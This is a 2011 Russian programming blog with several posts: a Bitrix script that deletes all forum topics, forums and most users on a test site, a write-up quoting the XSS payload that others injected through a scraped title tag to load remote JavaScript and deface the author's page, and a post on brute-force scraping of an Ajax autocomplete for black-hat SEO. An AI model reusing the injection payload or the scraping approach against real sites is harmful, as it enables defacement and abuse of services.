28
апреля
2011
Перекидываю форум с PHPBB на Битрикс — благо конверторы писать с нуля не придётся — спасибо Долганину Антону за его статью Переезжаем с phpBB на форум Битрикс. Экспериментирую на тестовом форуме, поэтому перед наполнением, его нужно было почистить.
Собственно реализация этой небольшой ТЗ, созданная мной буквально за 5 минут (а битрикс то весьма удобен!):
<?php
set_time_limit(0);
ignore_user_abort();
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");
if (CModule::IncludeModule("forum")) {
// clear topics
$db_res = CForumTopic::GetList(array(), array());
while ($ar_res = $db_res->Fetch()) {
echo 'deleted -'.$ar_res["TITLE"].'<br>';
CForumTopic::Delete($ar_res["ID"]);
}
// clear forums
$db_Forum = CForumNew::GetList(array(), array());
while ($ar_Forum = $db_Forum->Fetch()) {
CForumNew::Delete($ar_Forum["ID"]);
echo 'deleted - '.$ar_Forum["NAME"].'<br>';
}
//clear users (кроме меня)
$rsUser = CUser::GetList($by="ID", $order="DESC", array());
while ($arU = $rsUser->GetNext()) {
echo $arU["NAME"]."<br>";
if($arU["ID"]>1) {
CUser::Delete($arU["ID"]);
echo "deleted<br>";
} else {
echo "stay<br>";
}
}
}
?>
ReTweet
рубрики: Программирование |
25
апреля
2011
Вчера на мыло Алекс Терехов отписал письмецо, с просьбой помочь в отсеве доменов конкурсантов с историей — что конечно-же потешило моё самолюбие
Кстати — сегодня последний день регистрации !!! Желающие поучаствовать — поторопитесь.
Собственно, я раньше и сам хотел это дело реализовать, но всё руки не доходили, да и не было уверенности, что мою самодеятельность хоть кто-то смотрит.
Итак — все домены были прочеканы на наличие истории на рег.ру, а так же наличие снимков в веб-архиве.
Результат смотрим всё там-же http://seo.gtalex.ru/sape/
Читать полностью »
ReTweet
рубрики: Полезности, Программирование |
24
апреля
2011
На днях над моей табличкой конкурсантов, некоторые участники конкурса слегка поглумились — воткнули вместо таблицы с информацией обнаженную девушку — правильно сделали, раз уж парсишь — при выводе не забывай фильтровать !
Кому интересно и кто не в курсе — раскрою подробности процедуры:
Взглянув на табличку видно, что в ней выводится содержимое, сграбленного тега title — ну и некоторые ребята, решили проверить — фильтруется ли вывод, али нет 
На denejno.ru в тег был вставлен JS код с подключением стороннего js файла.
А конкретно такой код
<title>Денежно.Ру
<script>
var scid=document.createElement('SCRIPT');
scid.type='text/javascript';
scid.charset='windows-1251';
scid.src='http:/'+'/denejno.ru/f.js?rnd='+Math.random();
document.body.appendChild(scid);
</script>
<noscript>
</title>
</noscript>
</title>
На искомой странице скрипт не выполнялся, т.к. был внутри тега title. А в моей табличке — как раз пошел на выполнение 
JS код подключаемого файла:
document.body.innerHTML='
<div align="center">
<img src="http://adamast.ru/images/all/erotic/adamast_ru_pic1261418007.jpg" alt="" width="900" border="0">
</div>';
Спасибо хоть девчёнку симпотную поставили, а не член в пол-экрана — хорошая наука на будущее. А то как обычно — быстро, на коленке и в эфир. Теперь буду повнимательнее и не так ленив на счёт фильтрации, чего и всем желаю.
ReTweet
рубрики: Полезности, Программирование |
12
апреля
2011
Смотрю моя мини-заметочка Find — поиск измененных/созданных файлов принесла пользу моим читателям, собственно в рамках этих полезных минизаметках, ещё полезная nix команда, которой мне довольно часто приходит пользоваться:
sort -u файл1 файл2 ... файлN -o файлРезультат
на входе N текстовых файлов
на выходе результирующий файлик с отсортированным массивом строк, уже без дублей
ReTweet
рубрики: NIX, Полезности, Программирование |
28
марта
2011
Давеча сваял парсер Ajax выдачи (с помощью которого выудил 36к доменов начинающихся со слова forum*), кто читает мои публикации — не сложно вычислит откуда именно дёрнул
Раньше, кстати, не приходилось распарсивать ajax-выдачу ...
Итак, что же навело меня на написание скрипта ?
Поле для ввода (input) — где после ввода нескольких символов, выскакивала подсказка для выбора из 15-ти доменов, начинающихся с введённых символов (где нашел — не скажу). Конечно же первые символы были forum, далее перебор всех вариантов и складывание результата в файл (к счастью никаких защит от подобного перебора не обнаружилось).
Кто знаком с принципом Ajax запросов — понимает, что эта технология — те же запросы и те же результаты, что и обычные, но передаваемые скриптом javascript. Соответственно, дабы не копаться в JS коде я открыл встроенный в браузер http сниффер LiveHTTPHeaders «Просмотр http заголовков» — где и глянул на какой адрес и какой именно запрос отправляется. Далее дело техники ...
P.S.
Как наверное многие догадались — снова осуществляется попытка подзаработать с помощью чёрных SEO методов.
Для осуществления оной понадобился многопоточный чекер ссылок — оживил старые наработки асинхронного php чекера на базе AunoAsyncHttp, но в нём немного разочаровался — при установке в 100 потоков, в процессе работы он поднимал максимум одновременно 15 потоков (зато всё это из одного потока) — решил как появится время всё же заняться java — там эта задача имхо решилась бы более правильно, так же наверное ещё поэксперементирую с многопоточным курлом.
Дабы снова не изобретать велосипед — спрошу — кто чем пользуется для массовой проверки страниц ?
ReTweet
рубрики: Программирование |
9
марта
2011
Достался мне проектик, целью которого заказчик поставил мне монетизацию ресурса.
Более всего страниц досталось на форум (сапа увидела в районе 3к).
Собственно первоочередной задачей я обозначил — преобразование всех существующих внешних ссылок во внутренние (для чего — думаю понятно).
Сразу к реализации: Читать полностью »
ReTweet
рубрики: Полезности, Программирование |
14
февраля
2011
В техническом задании интернете магазинчика, коим в данный момент занимаюсь, необходимо автоматом заливать в БД прайс из xls файла (к сожалению в других форматах получить прайс нет возможности).
После изучения выдачи поисковиков и анализа полученной информации, остановился на 3х вариантах
Не буду томить, сразу к результатам:
Читать полностью »
ReTweet
рубрики: Программирование |